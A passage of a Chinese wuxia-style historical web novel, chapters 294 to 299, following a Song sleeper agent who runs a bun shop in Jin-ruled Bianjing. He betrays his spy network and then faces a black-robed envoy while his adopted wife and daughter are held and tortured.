马钰将丘处机扶起,自然也看到了对方眼中灰败的神色,劝慰道。 “是啊,能人无数,能人无数啊……” 丘处机嘴里跟着马钰的话呢喃着,其实他也不是输不起的人,平时行走江湖,自然也不可能真的百战百胜,他又不是自己那位无敌手的师傅。 可这次输的是天罡北斗阵啊,要是换成任何别的武学,输了也就输了,就如马钰所说的,他们全真教输得起,可为什么偏偏是…… 丘处机直到被人搀扶着会到自己的房间时,脑袋里还在迷糊着,种种念头在心中回荡,那个黑袍人的话更是如魔咒一般响彻脑海。 上山时,黑袍人可以说是一路上打上去的,而下山时,那些似乎已经猜到了重阳宫中情况的全真教弟子,都只是带着恐惧的面色持剑看着他慢悠悠的下山。 自然其中也有几个很是不忿的,想拼死以报师恩,想着士可杀不可辱之类的决心就要往前冲。 可旁边站着的,跟他们交好的尚有些理智的师兄弟,自然是不可能看着他们去这般无畏的去送死的。 半拖半拉的,就把这些血性人的冲动给摁在了胸腔里,可惜了,不知道这份余勇,他们此生还能不能再兴起第二回。 第二百九十四章 老八包子铺 黑袍人对于这些自然是看在眼里,心头不由得为王重阳叹息,真人啊真人,你固然是世间无敌的,可正如那秦始皇帝一般,任凭你修成了万里长城,终究是防不住自己的子孙后代不孝啊。 三代而终,恐怕第二代都已经没有了你的风采了。一个教派的创始人越是出色,对于这些传人后代却越是不利。 因为天才往往百年难遇,而天才创立的规矩往往都是以天才的视角去看待事物的,这让后面的那些平凡子弟自然难以适应。 而前人栽树后人乘凉的习性,也终究让那些一出生就已经习惯了纳凉的子弟们,没有再去烈日下,风雨中折腾自己的心思。 如今的全真教就是如此,作为二代的全真七子还算勉强,毕竟他们算是跟着王重阳一起创立的全真教,知道其中的艰辛。 可第三代呢,这些一来就住在重阳宫中的子弟,要他们如何明白这些事前人如何辛苦才留下的宝贵遗产。 难难难,守业还比创业难啊! …… 老八,是汴京城里有名头的老八包子铺的老板,四十来岁的年纪,面色黝黑,身材中等,是个混在人群里就捞不出来的摸样。 老婆倒是长得还算可以,常年在包子铺里不怎么出门,面色白皙,双手也可能是因为长期的揉面团,沾了些白面的福气,更是细嫩的很。 有熟客曾经调侃老八,他一个黑面鬼却取了个白面菩萨,好在女儿是像她妈的,要是长得跟他老八一般黑,那恐怕这汴京一绝的老八包子铺就要绝代喽。 话里有褒有贬,说的人无心,听的人也不在意,不过是那人就着大肉包子喝了两口自带的烧酒上了头的胡话而已。 “嘿嘿,是是,再来两个?” 老八只是一边笑笑,一边顺手从包子笼屉里赤手抓出两个白嫩的肉包子,转个身就放到了对方的盘子里。 “诶诶,够了够了,我这酒都快没了,不能吃了。” 可既然刚才的便宜话已经说出了口了,如今店家老板又亲自送上来包子,但凡要点面子的京城人士,怎么的也说不出,真要退货的话来。 得,就多喝两口吧,反正也就是几文钱的事,不心疼。 “嘿,嘶……真烫的……老八,你这手就不觉得热乎?” 那客人本来就是迷糊着,没反应过来这是刚出笼的真真热包子,结果一口下去,烫的舌头打颤。 但是也被烫醒了三分,顿时好奇那老板刚才又是如何不顾这灼热从笼屉里将这火炭一般的包子给赤手拿出来的。 “嘿,您说笑了,我是吃这个口饭的,这是该有的本事。您也没听过,杀猪的屠夫会拿不动刀的吧?” 老八还是笑呵呵的回答着,一面给来买包子的顾客报价格拿包子,一面还能不冷落了熟客的搭讪。 “嘿,这话没错,这世道,要混口饭吃,没把子看家本事也难啊!” 那客人似乎想起了什么,半吊子的感慨了一句。随即似乎下定了决心,又狠狠的在包子上咬了一大口,烫的直咧嘴,可这次却没放开了,反而拿起酒杯,随了一口酒,就将这汁水四溢的肉包子给吞了下去。 啧啧,烫包子加烧酒,这一下不说喉咙汤破了,从舌头到肚子跟都是一条火线,焦溜溜的疼,看他那样子,眼角都挤出泪了来,可终究是憋着红脸不认输。 “地道……斯哈……舒服……哈……老八的包子,嘿!” 那客人声音嘶哑的还不忘夸赞一句。 北方的包子铺跟南方的不同,在南方开包子铺的基本就是做早餐的生意,而在北方开包子铺的,那可就是一日三餐的经营。 在这里,有的是人三餐都来吃包子的,最多早上吃白的,中午吃肉的,晚上吃素的,反正这里的人啊,是面食的习惯,吃再多也不会腻味就是了。 所以这汴京城有名的老八包子铺,一家三口从早上天不亮就起床忙活,一直忙到晚市过后,才能熄灯打样。 好在午后有一段时间可以让三人稍微休息几个时辰,要不然这长年累月的买卖,怕是要将人都活活累垮。 既然是自己家做包子生意的,那这最后的一餐自然就是当天卖剩下来的包子,到不是老八包子铺的包子卖不出手,只是那馅料终究是会多备一些。 到了最后,这剩下的馅料,不管是肉馅的还是菜馅的,自然是都要包到已经发好的剩面里,这些都是不能留到明天用的。 要不然啊,被那些熟客给吃出不对味来了,那可就要砸招牌了。 十个包子,老八四个,剩下的娘俩分。白面妇人,也就是老八媳妇,在包这最后一笼屉包子的时候,故意没有将素包子跟肉包子分开。 为的就是在这最后选包子的时候,让这忙活了一家三口的有个乐呵玩耍的趣味。 先各人选一个包子,大咬一口,三人将馅料露出来给别人看,要是选中了肉包,自然是要祝一句好彩头的。 “啊呀,是菜包的,看看爹爹的。呀,也是菜包,妈妈的呢?” 有女儿这欢乐的笑语为佐料,就是那被最后一锅炒熟了的馅料也并不重要了,老八觉得吃白面包子也是美味的很。 可今天的老八,却是无论如何都笑不出来。 “当家的,你这是怎么了,今天我早就见你魂不守舍的,是身子不舒服吗?” 老媳妇将白面包子在炒馅料里蘸了蘸,就着一些油水吃着。其实不管分不分外在的摸样,这包子里面到底是肉是菜怎么可能瞒得过这个包了这么些年包子的妇人。 而她手中的白面包子,自然是她故意留给自己的,不管有多少馅料多下来,宁可最后炒着吃,她也必然是要包三个白面包子的。 这是留给她自己的,每次老八跟女儿说她,妇人也总是自己是北方人为借口,说小时候就指望着能吃上一口白面包子,如今还是就这点想头。 第二百九十五章 花烛夜 况且,这肉馅菜馅的不都炒着一盘了吗,她夹着吃也是一样的。 女儿听着倒是也觉得是这个道理,可老八哪里会不知道,妇人说是会吃炒馅,不过就是蘸了一些油水而已。 那一筷子炒馅料,从开头夹着放进碗里,到了最后一口才就着包子吃下去的。 枕边人啊,就算老八再不体谅人,每天晚上只要摸到那说是吃得好穿得好的养了几年的身子骨依旧是初见时的摸样,哪里会不知道,这媳妇是在给他们家攒压箱底的本钱呢。 不过这些年过来了,老八劝也劝过了,骂也骂过了,可妇人终究是没有改,即使当天吃了几口馅,后面又变回了原样,让老八也是无可奈何。 “今天我出去一趟,你们早些睡吧。” 老八吃完最后一口包子,将碗中的蛋花汤也一口干了,抚着微微凸起的肚子说道。 “怎么?” 妇人有些惊讶的问道。 “没,有个南边来的朋友道了汴京,约我出去聚聚。” 老八含糊的解释了一句。 “南边?” 妇人更担心了。 “爹爹,不能明天见吗,都这么晚了?” 女儿也是关心的说道。 老八摇摇头。 “这位朋友来的急,走的也快,今晚要是不见,这辈子怕是没机会再见了。” “那……为何不让他来家里,也好让我们招待招待。” 妇人还是有些不愿意自己男人这个时候出去。 “就这样吧,我很快回来,别等我。” 老八这话明显就有些怪了,说很快回来,却又让家里人别等他。 …… 老八这是三年来第一次在晚上上街,作为金国京城的汴京也是曾经的北宋帝都开封,这里的繁华自然是不用说的。 不过再多的繁华,到了这个时候,也是不属于像老八这样的人家的。那些能够灯红酒绿的,永远都是站在上面的那些层级,而跟他们这些靠自己的小手艺糊口的人家没关系。 “花烛夜”这就是老八来见那位南边来的朋友的地方,一座青楼,还是场面不怎么小的青楼。 老八看了看身上的衣着,又看了看不知是被多少根烛光才能照得这般敞亮的大楼,一低头就往侧边的小巷子钻了进去。 没过多久,一个穿着华丽衣着中年男子就从小巷子重新走了出来,除了那不变的黝黑肤色,如今的老八就像是换了个人。 本来有些弯曲的背挺的笔直,那双本来谦卑的放在腰间的大手也坦然的背在后腰,配合着那有些霸道的步伐,此时的老八就是个家有余财的显赫人家。 “爷,您来了,姑娘可是念叨着您呢。” 迎宾的小厮谄笑的迎了上来,弯着腰将老八往楼里面迎。 来这地方,要说眼力劲最好的就是着站在门口迎宾的小厮了,你只要看他们的腰往下弯了多少,就能判断出他们这次迎进来的这位老爷是个什么角色了。 要是楼里的姑娘,见到小厮的腰弯下去了小一半,那就已经是要仔细伺候的恩客了。 要是小厮只是浅笑着,腰还半直着,那就只能是靠妈妈去安排任务了,毕竟这楼里的体面还是要维持的吗,虽然这客人一看就知道没什么油水。 “哎,爷,您可是好久没来了,人家可是等着您的呢。” 一个身着绿衣裳的不过二八的红粉女子,脸上带着甜如蜜糖的笑意,说着就往老八身上靠了上来,哪怕双方都明确知道两人从未见过面。 但是吃这一行饭的,不管她下海之前是如何的身世凄惨,或者被逼无奈,可既然迈出了这一步,那自然而然就会被这污浊海里的虚假情意给磨练出来。 不管生客熟客,进了这“花烛夜”的门,不拉着小登科一场,难道还要相敬如宾不成? “哦,真在等我,那小姐倒是说说我叫什么?” 老八轻佻的勾起那凑上来的妓女的小脸,满是挑逗着说道。 “哎呦,爷,您这是做什么,来跟奴家上来,到了奴家房里,奴家好好跟你说说就是了。” 那绿衣小娘熟练的躲过老八的调侃,拉着人就往自己房里去。 老八此时表现的也就是一个老嫖客的摸样,任凭被这小娘拉着,时不时还在对方身上揩点油,惹得小娘一阵阵欲拒还迎的娇嗔不依。 一进屋子,绿衣小娘就把老八安排在了餐桌旁,把上面永远备着的不知好坏的酒满满的整上一杯,动作款款的递给老八。 然后更是亲手摘下桌上摆着的新鲜果蔬,往老八的嘴里,不住的投喂。而外面没一会也就利落的安排了一桌子的美味佳肴,让老八这位看着就豪气的客官作为下酒的佐菜。 至于说,这位黑面的老爷并没有点,难道到了这场面上,还能当着小姐的面将这送来的酒肉佳肴撤下去不成。 既然你是出来寻开心的,既然你已经进了这“花烛夜”,那何苦花钱还来买不自在呢,自然是这般的套路。 说句不好听的话,这桌酒宴自然是贵出平常的酒家好几倍的,不是说这些酒肉菜肴有多么的好,他们甚至不过是从不远处的酒家里现成的买来的,只是让厨房里给保着温而已。 可这一转手,这菜肴的价格啊,起码要翻两个翻,这才对得起这满楼的烛光,还有小姐的殷勤呢。 这里面可是有小姐的提成赏钱的,要在这楼子里吃得开,光靠那点陪客人过夜钱,可不能填饱这些没别的指望的女人的胃口。 老八似乎也忘了,他出门前对家里说是来这里见那所谓的南边来的朋友的,在绿衣小娘的伺候下,自己喝一杯,也灌着对方喝一杯。 将这绿衣小娘的脸蛋都红的要滴下血来似的。 “官人,人家不甚酒力了。” 糯糯的话语,就像是一阵能吹进骨头子的酥风,好像要把人从里面给化了似的。 “咳咳……” 一声突兀的咳嗽声出现在了房间里。 “谁呀?” 绿衣小娘小小的受了些惊吓,就要转头朝咳嗽声传来的方向望去,可还没等她转过去,只觉得眼皮就开始打架,晃悠着这脑袋就趴到在了桌上。 第二百九十六章 难舍 “今天这酒怎么这么厉害,以前我喝的可不必现在少……” 模模糊糊中,绿衣小娘便彻底的失去了意识。 “为何这么着急,要是留下破绽,那……” 老八依旧喝着酒,没有转过头去,可从他的语气里能明显的感觉出不满的情绪。 “不用担心了,这次情报交接之后,你们就都撤吧。” “什么!” 老八再也不顾暗子交接情报的规矩了,本来他们的接触是不能去窥探对方的样子的,可如今听到这样的消息,实在是过于激动了。 在金国藏身已经五年,老八一直以包子铺老板的身份收集着各类信息,平时要做的不过是将整理好的资料放到指定地点。 除非是遇到特别重要的事情,才会主动对接。 而子虚这边,也不过是在每年监察人员来考核一番他的具体情况,防止出现了间谍的叛变还毫不知情的情况。 所以老八这些年来都已经习惯了在金国还算稳定的生活,何况还有一个体贴入微的媳妇,还有明理懂事的女儿。 如今却要让他撤退,离开已经熟悉了包子铺,回到那个已经快忘了如何生活的南边去。 自己走当然是简单的,可要是带着媳妇女儿走,自己又要如何跟他们解释。 本来在娶着门媳妇的时候,就是为了想有个更方便隐藏自身的掩护,可随着这些年的相处,当时的挡箭牌,如今却成了真正的家人…… …… 老八跟那位出现在花烛夜里的黑袍人沟通了许久,除了交代一些两国边境交战以来这汴京城里的变化,有意无意的询问着,撤退是不是一定要在这个时候。 有没有可能缓缓,或者那些在这里安家落户的暗子,能不能带着妻儿子女回去等等。 黑袍人没有给明确的答复,但好在也没有直接拒绝,只是在琢磨那些从老八口中得来的消息之后,时不时透露出几句。 两国交战,边境戒严,要想安全通过,自然是难的,但也不至于没办法。 而随着两国战事的加剧,双方在清缴对方暗子的力度上必然是要逐渐加大的,要是他们这批人不走,怕是…… 老八喝着酒,嘴里跟心里都琢磨着,心里倒是滋味复杂,嘴里的酒却寡淡的像是白水了。 黑袍人走了,老八自然不能就这么回去,进了这花烛夜,虽然不一定要留宿,但起码这佳肴、美色自然是要有享用的时间的。 将那被老八按了穴道昏睡过去的绿衣小娘放到床上,神情冷漠的将对方的衣衫解开去,随意的丢在地上,再在床上胡乱的翻几下,自己合着内衣躺了上去。 就这么躺着,心里混乱的思索着,回不回?带还是不带?妻子跟女儿能不能接受自己的身份? 那两国的交界,又要如何过去? “啊……官人?” 绿衣小娘幽幽的醒来了,发现自己如今衣衫不整的状态似乎并不惊讶,反而故作幽怨的靠上了老八的怀里。 “走开……” 老八下意识的推开了对方。 “啊!” 绿衣小娘这才惊呼了一声。 老八随即惊醒,脸上瞬间换了笑脸。 “你个醉鬼,害的老子性子上来了,你却是死猪似的,被你弄得兴致全无,你这时候还敢贴上来。” “啊呀,官人何必说这些,您要是不尽兴,让奴家再伺候你不就是了,保证啊……” 绿衣小娘话说的意犹未尽,眼神却是已经说出了一切,那里的缠绵就好像用眼睛跟老八鱼水了一番。 “哼!” 老八突然又板起脸俩,也不吭声就从床上下来,一件件的自己穿着衣服,好像是受到了什么侮辱似的。 “官人?您……” 绿衣小娘赶紧从床上跟下来,也不管自己身上几乎都是一丝不挂的摸样。 可不等她靠上去,老八只是狠狠的回头瞪了一眼,随即开门就出去了。 这一眼,让那本来还想挽留的绿衣小娘顿时愣在了原地,不清楚自己到底是哪里得罪这位怪人了。 可当看到杯盘狼藉的桌上,已经放下了两锭大大的银子,瞬间便是笑逐颜开。 管他什么怪脾气,有银子赚不就成了,这两锭上好成色的元宝,在手里掂量一番,最少也有四十两。 啊呀,终于是知道哪里错喽。 绿衣小娘忽然就似乎明白了刚才那个怪客为何不接受他的挽留了,四十啊,对方差不多有这个年纪了。 而对方不俗的身家,自然是早早的有了家世的,而他既然已经跟自己在昏睡的时候共赴巫山一回了,那又如何能再…… “呵呵呵呵……” 绿衣小娘一手拿着一定银子,笑得直弯下腰,好久都不曾直起来。 …… 老八蹑着手脚的上了自己妻子空出来一边的木板床,作为包子铺的老板,虽然在吃食上能不亏待家人,可这住的用的,还终究是个小家摸样。 这不大的木板床,还是以前门铺子的拦板子改的,但凡动作大一些,就不免得会发出声响来,吵醒自己的妻子。 “怎么这么重的橘子味道?” 原来妻子并没有睡着。 “哦,你没睡啊,我害怕吵着你呢。” 老八想打个马虎眼过去。 可妻子的沉默,在这黑洞洞的房间里,却比花烛夜的那上百只烛光还刺眼。 “是,那个南边来的朋友带来的,吃了一些,也带了一些回来,明天你们娘两也尝尝,上好的赣南的橙子呢。” 老八心里直冒汗,好在那顺手买的物件没忘了。 “橙子?” 老八媳妇讷讷的问了一句,语气里多少有些疑惑。 “是。” 老八咽了一口唾沫。 “嗯,睡吧,这么晚才回来。” “好好,睡吧,也就三个时辰就要起了,你也赶紧睡吧。” 老八钻进了自己的被窝,帮妻子也掖了掖被角。 …… 第二百九十七章 暴露 黑袍人带着从老八那里拿到手的情报离开了,自从他离开终南山进入金国以来,收集到的情报信息已经多如牛毛。 不仅是自己亲眼看到了,还有从各个子虚黄部深埋在金国各处的暗子中拿到手的,经过整理分析,大致已经能确认出,哪些个金国的人物可以作为此次的刺杀目标。 要分析出这个当然不简单,那些金国的朝中重臣,在这个节骨眼上自然都是有相当的安保机制的。 两国交战,谁都不会轻易将能关系到战争走向的重要人物放在砧板上。 此时的金章宗虽然不是个多精明的皇帝,但是这金国朝廷里不缺能看清世事的聪明人,在此时此刻皇帝也会真的跟自己的身家性命开玩笑,就算他自己不聪明,但也知道哪几个是聪明人。 不说事事都顺遂着,但在事关生死的节骨眼上,他金章宗还是会听人劝的。 所以,要是这时候,发动手里不多的力量去动那几个重兵保护的人物,那无非就是肉包子打狗而已。 现在黑袍人想着的是,既然那些个关乎前线战事的重臣已经没希望了,那就找一些能让这个金国的帝都汴京乱起来的人物下手。 说是围魏救赵也好,直捣黄龙也罢,想来老窝里烧起来了,那些在前线打仗的总是要分点心的,何况要是这把火把金章宗也弄急了,那前线要不乱也难。 黑袍人一边思索着,一边进入一个建在汴京城外的小农庄,跟站岗的一身农人打扮的暗子打过招呼,就进入了掩藏在隐蔽处的地下暗室里。 这庄园的历史基本上可以追溯到北宋年间,当时庄园的主人已经跟着逃到临安去了,但是留下的管理庄园的仆人却在后面又想办法联系上了临安。 说来也巧,那庄园在临安的后人加入了子虚,那这天上掉下来的立功的机会,自然是紧紧的抓住了。 对于一块遥在金国的飞地,自然是没有任何经济价值的,当然除非哪天南宋重新打回去了,而这庄园又重新被收回来,才有点用处。 而现在,对于那个年纪还轻一心想在子虚里往上爬的人物来说,要是能把这个够不着的庄园贡献跟子虚,成为自己的一份功绩,那真就再好不过了。 而子虚呢,自然也是希望有这么一个完美的据点,在打听清楚那庄园的具体情况之后,直接以一个二等功以及五百两白银从对方手里拿过了这个庄园的权限。 这里也算是子虚在金国最早设立的一匹据地中规模较大的一个。 “见过特使。” 黑袍人刚进密室,下面已经有几个人在等着他了,见他到来,纷纷招呼着。 “嗯,这次的的目标是负责宫廷食材采办的角色,虽然官职不大,但是牵涉到金国皇宫内部的诸多关系,足够金庭头疼一阵子。 你们这次回去,按照计划行事,让这人的死亡尽可能的表现的夸张一下,等事情……” 黑袍人突然停下来了,帽兜里的眼睛扫了在坐的几人一眼。 “你们哪位接受了金庭的反间?” “什么?” “特使何出此言?” “谁?” 几人都是震惊不已,纷纷戒备的看向其余几人。 “上面的出口已经被围住了,在这里的人可以说是已经插翅难逃,何必在惺惺作态。” 黑袍人指指顶上,众人屏息凝听,果然听到了一些隐约带着急促的脚步声,要是上面是自己人在做事,必然也是紧急事态,那自然是会先知会他们的。 而此时的情况看来,一没收到通知,二来这些人的脚步明显超出上面的留守人员的数目,明显是来者不善。‘ “真的暴露了?” 有人还不愿意相信。 “特使,是不是你回来的时候被跟踪了?” 黑袍人仔细的看了对方一眼,除了脸上的急切,看不出他的心虚来。 “在这里,没有人能一路跟着我而不被我发现。” 黑袍人说的很是肯定。 “特使,先不说这些,如今要怎么突出重围才是关键,不管在坐的哪位是叛徒,自然有秋后算账的时候。” 其中一个年纪最大的与会人员说道。 “不错,特使,我们这些人自从来了金国,也就没想着能安然的回去,但是您不能就耽搁在这种地方,还是先想办法脱困吧。” 有人附和道。 他们此时在的地方是那个明面上的农庄的地下十几米,就算那些人要从上面下来也是要花些时间的。 而且这一路下来,弯弯曲曲的通道里,没有钥匙,那些结实的大门也足够阻拦追兵一些时间的。 黑袍人坐在主席上,一只手的手指有节奏的敲击着桌面,不知道是在思索这些人里到底是哪位最有可能被金庭收买了,还是在考虑要如何摆脱此时的困境。 “碰……碰……” 撞门声开始明显的传来了,就是不知道对方此时在撞的是第几扇门。 “特使,您快走啊,我们留下挡上他们一阵子。” 黑袍人瞥了说话的人一眼。 要是这些人都被金庭的人带走,那个叛徒自然也就不知道是哪位了,因为对方显然不会再让这里的任何一个人在出现了明面上。 叛徒自然是被隐姓埋名重新安置了,至于其他人,那肯定就是在榨干价值之后,被遗弃在乱葬岗。 “我不知道你们中间是不是有人因为金庭的威逼,所以选择了背叛,但我相信,你们在来这里之前,都是真心向着大宋的。 可不管什么原因,无论是你自己贪图富贵迷了心智,还是因为不小心被察觉到了行迹,以至于让你步步深陷,不得已做出了如今的选择。 今天一别,我们大概率是无法再相见了,但是让这些真正的义士陪着你这样的人物去了,我怎么都觉得遗憾。 趁着还有些时间,我这里有一种妙法,能让人说出真话来,本来这样的邪术我是从来不对自己人的,可如今却也是不得不试试了。” 黑袍人道。 第二百九十八章 三足乌鸦 “砰砰砰……” 砸门的声音越来越大,这也意味着金庭的人越来越近了。 “特使,来不及了,你自己先走吧。” 看来有人并不相信世上会有这么邪门的功夫,只以为是黑袍人一时还不想放弃,想用这样的方式把他们中间的叛徒给咋呼出来。 “哎,真是糟心事啊。” 黑袍人似乎很是无奈的叹了一声。 “都跟我来吧。” 虽然憋屈,但是那人说的没错,要是再不走,这几个人不管是不是其中有叛徒,那等金庭的人追上来,必然是死无葬身之地的。 黑袍人起身打开了一个隐秘的出口,这里是只有子虚的高层才知道的秘密通道,这些人也只是大概知道可能有别的出口,但是并不清楚具体位置。 “特使……” 还有人要废话,直接被黑袍人喝止了。 “进去,否则我就当你是叛徒,就地先处决了。” 那人虽然不怕死,可要是让他背着这样的骂名,屈辱而死实在是不值当。 当这与会的几人都进了门,黑袍人在最后,直接一掌拍在那门框上,随后推着众人火速离开了那处。 “轰隆隆……” 即使几人已经跑出了一段距离,那种泥石俱下的崩塌,震的整个地下密地都在颤动,似乎随时都可能当头压下来。 等一群人出了地下,全都是灰头土脸的摸样,可还不等他们埋怨,回头瞥见身后的情况时,连嘴里的泥巴都忘了吐出来。 只见本来一个规模不小的庄园,如今却是生生往下沉了一截,自然这上面的建筑啊,牲畜啊,皆是遍地狼藉,十不存一。 天塌地陷,这就是此时的最真实写照。 “这……” …… 自从上次跟黑袍人见面之后,老八一直都有些心神不定,眼前的热乎生活,每天跟自己一起早起做包子的妻子,眼看着就快到了可以许人家年纪的女儿,跟那些曾经在南边许下的誓言,纠缠在他的脑海中。 时而这个上去,那个就下来,时而那个上去,这个又下来了。 开始的那几天,从来都不会出错的老八包子铺,竟然意外的将客人要买的肉包子换成了菜包子,差点当场就闹腾起来。 老八好一顿赔礼,搭上了三个免费的肉包子才算对付了过去。 妻子本来就对那天的事情起了一些女子特有的疑心,只是从来都不曾大声说过话的性格,让她只是自己忍受着。 看着自己这位平时精明的丈夫,此时屡屡在生意上出差错,自然是更加加深了一个妻子对丈夫的特殊猜疑。 每每在家里人都看不到的角落里,咽着委屈的泪。 女儿几次问妈妈,为何最近的脸色越发的白了,眼睛里也有些血丝,是不是身体不舒服。 老八媳妇只是推脱说,夜里没睡好而已。 就在老八的犹豫不决里,小半个月就这么过去了,跟那黑袍人约定好的尽快撤离的时间已经过了,对方却也没有传来催促的消息。 也许他自己也已经撤回南边去了吧,或者…… 老八似乎想到了些什么皱着眉头,可却依稀的在期望什么。 又如此过了几天,老八基本都不在纠结走不走的事情了,连老八妻子也将那缠绕在心头的对于丈夫的不安给放下了,似乎老八包子铺一切都回到了正规。 “老八,肉包子三个,菜包子三个,白面包子也来三个,最好的散酒三两。” “诶,马上来了。” 老八几乎是本能的回应的,可随即正准备往笼屉里伸过去的手突却兀的僵住了,整个人也一动不动的楞在哪里,一双小眼睛睁的混大,仿佛是见了真菩萨的摸样。 “老八,干什么呢,做不做生意了!” 那客人等了一会儿,见老八没动静,不满的叫唤道。 “当家的……” 正在揉面的老八媳妇用手肘轻轻推了老八一下,老八整个儿像是打了一个寒颤似的的醒了过来。 “好好,来了,就来。” 老八本能的吊起嘴角回应着,手在伸向笼屉的途中将不知道什么时候沾在桌面上的一团奇形怪状的面粉给抹了去。 依稀好像是一只鸟儿的形状,看着像乌鸦,却是三只脚的。 这一天从来不歇业的老八包子铺,破天荒的早早的关上了铺门,那些来吃晚食的熟客只看到一张写着东家有事的通告,恨恨声中只好掉头回了去。 老八今天破天荒的自己下了厨,不但杀了一只鸡,还从门路里买了城外刚摔死的耕牛的一块好肉。 在如今这个时代,吃牛肉可是稀罕的,毕竟作为重要的生产劳力,一头牛的价值可比一般的人命要重的多。 “当家的……” 老八媳妇带着同样惊慌不安的女儿,就这么看着自己的丈夫在厨房里忙活的,两人几次想上去帮这个突然变得有些不认识的至亲,却又被对方客气又温柔的推了回来。 “你们啊,忙了这些年了,从来没歇停过,今天也该让你们歇歇了,可别看不起我的手艺,当初我也是正经的学过厨的。” 老八笑着说着,脑海里闪过被子虚培训的时候,关于那些奇特的下厨房的本事,如今虽然记得不多了,但是那种吃一次就忘不了的味道,怎么也能还原个三分出来。 想当年,他还准备以厨子的身份进金庭大臣的后院来着,可惜,对于他这么一位终究是无根底的人物,还是没有人愿意接受,哪怕手艺确实不错。 “爹爹……” 老八女儿担忧的呼唤了一声。 “娉婷啊,你也长大了,当初见到你的时候,也就这么高。” 老八空出一只整治着菜肴的手,在自己的大腿根比划了一下。 “如今也是大姑娘了,本来我跟你娘商量着,明年就该给你开始物色人家了,时间可过的的太快了。” “哎,当初也怪你娘,娉婷,司马娉婷多好的名字啊,非要改成跟我姓,朱娉婷,嘿,实在是亏得慌。 再不济,跟你娘姓,叫柳娉婷也好的。那不是说什么,杨柳依依,娉娉婷婷,听着就是好姑娘的名字,如今……” “也赖我,好姓不姓,非要……姓个朱……” 老八一句一句的说着,而听着的两人,早就眼泪模糊了眼眶。 第二百九十九章 难逃 其实这对母女,并不是老板的真亲人,只是他在一个冬天救下的,差点死在他店铺门口的孤寡而已。 而当时,作为刚稳定下来的一个南宋子虚的暗子,自然是不愿意多出这样的累赘的。 本来想着,等这两人活过来,就立马赶人走。 可哪里想到,那妇人明明还发着高烧呢,就起来给铺子里打杂了,不管老八怎么推却愣是硬不过她的执拗。 而那个饿的不比小鸡仔大多少的女娃儿也懂事的让人心疼,老八给她的包子,从来都只吃半个,另外半个就等妇人忙累了之后喂给她吃。 一时的心软,不仅让老八以店铺生意好,反正总要招人帮忙的理由给留了下来,自然工钱是没有了,只是管妇人跟小丫头两顿饭。 至于这落难的妇人怎么成了包子铺的老板娘,那不过是自然而然的事情,哪里会有真的无情的汉子,是会懂得体恤孤儿寡母的。 一旦动心起念,恻隐难收,那便是一点点的放弃,一点点的沦陷,所以说这世间的事情,要么是滴水不漏,要么就是一溃千里,没有什么蚁穴是无关紧要的。 …… 安顿好妻女,老八换了一身衣服就出门了,明月当空,今天在北地的秋天里难得的敞亮天,或者说是老八来了这里之后,难得有抬头看月亮的空闲。 跟着一路上的上的指引,老八来到了一处谣传是被天上的雷公一个打雷给打沉的地界。 老八站在这个明显往下沉了不下一米的奇异地形的边上,他自然是知道这里是怎么形成的。 就是他那天出卖给的金庭的消息,为了自己的安宁,打算将这些不曾蒙面却是曾经的战友埋葬在这里。 老八缓缓的在大坑边跪下,对着大坑的中央磕头三次。 “没人死在这里,他们都回去了。” 一个声音出现在老八的身边。 “这身衣服还是我来这里的时候从南边穿过来的。” 老八没有抬头,就这么跪着,以头触地,瓮声瓮气的说着话。 “我想死的时候,也穿着它。南边我已经没有亲人了,我只是想保护这边的亲人,还请大人饶她们一命。” “……” 久久没人回答。 “大人!” 老八恳求着。 “在选什么人来这边的时候,我跟地后产生了一些争执。她认为应该选一些的有家有室有牵挂的人过来,以免出现……嗯,大概就是你现在的这种情况吧。 可是我当时并不认同,因为在我看来,你们这些人,很大的可能是难以安然的返回的,所以有了牵挂,反而会被金庭利用,就没了慷慨赴死的决心。 我们争论了许久,谁也说服不了谁,最后的结果却是,像你这样的人也有,而在南边有家室的人也有。” 那个声音不急不缓的说着。 “可是啊,你这个没牵挂的叛变了,可同样的那些有牵挂的人里也有叛变的,至于理由……没什么新鲜的。” 那声音又停顿了。 “是朱十三对不起大宋,枉费了子虚的栽培。” 原来老八的原名叫做朱十三。 “知道为什么我现在才找你吗?” 那声音问道。 “……” 老八,哦,现在还是称他为朱十三吧,他也是困惑的很,本来他都以为这事情已经算是过去了,哪里想到,会在这个时候收到催命符。 “那你说说,你的背叛是为的什么?荣华还是富贵?” “不不,不是,大人,朱十三罪无可恕,但绝不是为的这些。” “那就是为的那对毫无瓜葛的母女喽?金庭是如何发现你的?” “是因为小人有一次出去放消息的时候,不小心,露了马脚。” “哦……真的?” 沉默,短暂的沉默之后,朱十三咬着牙道。 “真的,大人,真的,真是我自己的不小心啊……” “那你就没怀疑过,为什么那对母女就这么巧出现在你的包子铺门口,又这么巧被你收留,还这么巧,人家那般的身姿会愿意跟着你这个黑脸的碳头?” 那声音简直就像是一把钢锥,将朱十三勉力潜藏着的,不让自己相信的破绽给揭露了出来。 “不,大人,不会的,不是的,她们,她们,不可能的,我试过,我试过的啊,她们没有丝毫的武功底子的啊……” 朱十三猛然的抬起头来,眼中充斥着无数的不可信,不愿意信。 那一袭黑袍,从树梢飘落来到朱十三的面前,一双藏在帽兜里的明眸,仔细的注视着这位已经失去的分寸的暗子。 “你,跟我来吧。” 黑袍人说完便走,朱十三似乎想到了什么可怖的事情,楞在了原地,怎么都不肯挪出一步,因为他怕一旦自己跨出了这一步,就要实现自己想象中的那个比地狱还不想面对的事实。 “你要是不来,她们可就十死无生了。” 黑袍人的声音,听在朱十三的耳朵里,就像是来自阎罗殿的呼唤,脚下不由自主的跟着这勾魂召魄之声麻木的前行。 不知道转了多少个弯,也不知道过了几道门,等前面的黑袍人停下了脚步,朱十三隐隐听到有一声声的惨叫从里面的密室里传来。 “婆娘,娉婷……是你们吗?” 朱十三似乎明白了什么,嘴里呢喃着,可他根本找不到进去的门。 “噗通……砰砰砰……” 朱十三一句话没说,就是直接跪下朝着黑袍人磕头,没几下额头上就已经见红了。 “别急,先起来,她们到目前为止还没有招认呢。” 黑袍人不紧不慢的说着,配合这隐隐约约的惨叫声,活活像个地狱里爬出来的判官。 这世间的亲情字在对方眼里,不过就是衡量罪孽的秤砣而已,朱十三的卑微求饶根本动摇不了对方丝毫。 “大人,大人,千错万错,都是我朱十三的错,与听她们无关,她们无非就是我一时糊涂收养的奴仆而已,跟我没有半点血缘啊。大人……” 朱十三依旧磕着头求饶着。 “来来来,过来,起来,跟我来一起看看。” 